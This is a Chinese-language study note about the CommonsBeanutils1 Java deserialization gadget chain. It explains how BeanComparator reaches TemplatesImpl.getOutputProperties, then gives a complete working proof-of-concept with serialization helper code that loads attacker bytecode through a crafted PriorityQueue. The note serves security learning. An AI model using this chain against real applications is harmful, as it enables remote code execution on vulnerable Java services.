Skip to content

Latest commit

 

History

History
270 lines (175 loc) · 8.84 KB

[Java反序列化]CommonsBeanutils1利用链学习.md

File metadata and controls

270 lines (175 loc) · 8.84 KB

前言

继续反序列化的学习。

预备知识

之所以会提到CommonsBeanutils的反序列化链,是因为shiro是依赖 commons-beanutils的,当然这是接下来学习的东西的。

根据名字就知道,类似Commons-Collections是对集合的封装和补充,commons-beanutils是应用于javabean的工具。

至于什么是JavaBean,放一下维基百科的定义,很简单:

  • 有一个public的无参数构造函数。
  • 属性可以透过getsetis(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
  • 可序列化。

第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBeangetter方法:

    /**
     * <p>Return the value of the specified property of the specified bean,
     * no matter which property reference format is used, with no
     * type conversions.</p>
     *
     * <p>For more details see <code>PropertyUtilsBean</code>.</p>
     *
     * @param bean Bean whose property is to be extracted
     * @param name Possibly indexed and/or nested name of the property
     *  to be extracted
     * @return the property value
     *
     * @throws IllegalAccessException if the caller does not have
     *  access to the property accessor method
     * @throws IllegalArgumentException if <code>bean</code> or
     *  <code>name</code> is null
     * @throws InvocationTargetException if the property accessor method
     *  throws an exception
     * @throws NoSuchMethodException if an accessor method for this
     *  propety cannot be found
     * @see PropertyUtilsBean#getProperty
     */
    public static Object getProperty(final Object bean, final String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (PropertyUtilsBean.getInstance().getProperty(bean, name));

    }

说白了就是,比如一个类Person是个JavaBean,它有个name属性,则PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。

这有什么用呢?继续联系上一篇文章的TransformingComparator,要去找一个可用的Comparator。发现commons-beanutils中的BeanComparator类的compare()方法调用了PropertyUtils.getProperty

    public int compare( final T o1, final T o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            final Object value1 = PropertyUtils.getProperty( o1, property );
            final Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( final IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        }
        catch ( final InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( final NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        }
    }

我的第一反应其实是,咋可能有类的getter可以利用呢?但是还是我太年轻了,并不是真的说就是调用对应属性的getter。而是,比如这样:

PropertyUtils.getProperty(new Person(),"abc")

在我们的利用中,并不是说真的去调用Person类的abc属性的getter,而是调用getAbc(),不管这个类有没有abc属性。

再联想到之前TemplatesImpl的调用链,当时是这样的:

image-20210829233112596

基本上的利用都是从newTransformer()开始,但是getOutputProperties同样也是public,也是以get开头:

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

所以PropertyUtils.getProperty就可以调用TemplatesImpl类的getOutputProperties

构造POC

分析完了就可以开始构造了。首先就是TemplatesImpl对象:

        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","feng");
        SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

然后构造comparator和优先级队列PriorityQueue

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);

注意开头的o要小写。

接下来正常肯定就是add两次了,但是如果add两次的话,内部就会进行一次compare(),会造成影响,所以不直接add,而是用反射:

        SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        SerializeUtil.setFieldValue(priorityQueue,"size",2);

之所以还需要设置一下size,是因为我们没有add,每次add都会将size+1,所以需要利用反射设置一下。

再序列化和反序列即可:

        byte[] bytes = SerializeUtil.serialize(priorityQueue);
        SerializeUtil.unserialize(bytes);

构造完毕,放出总的POC,和ysoserial的有些区别,但是总的思路是一样的:

package com.summer.cb1;

import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;

public class CommonsBeanUtils1 {
    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","feng");
        SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);


        SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        SerializeUtil.setFieldValue(priorityQueue,"size",2);
        byte[] bytes = SerializeUtil.serialize(priorityQueue);
        SerializeUtil.unserialize(bytes);

    }
}
package com.summer.util;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class SerializeUtil {
    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
    public static byte[] getEvilCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        return code;
    }

    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20210829234109314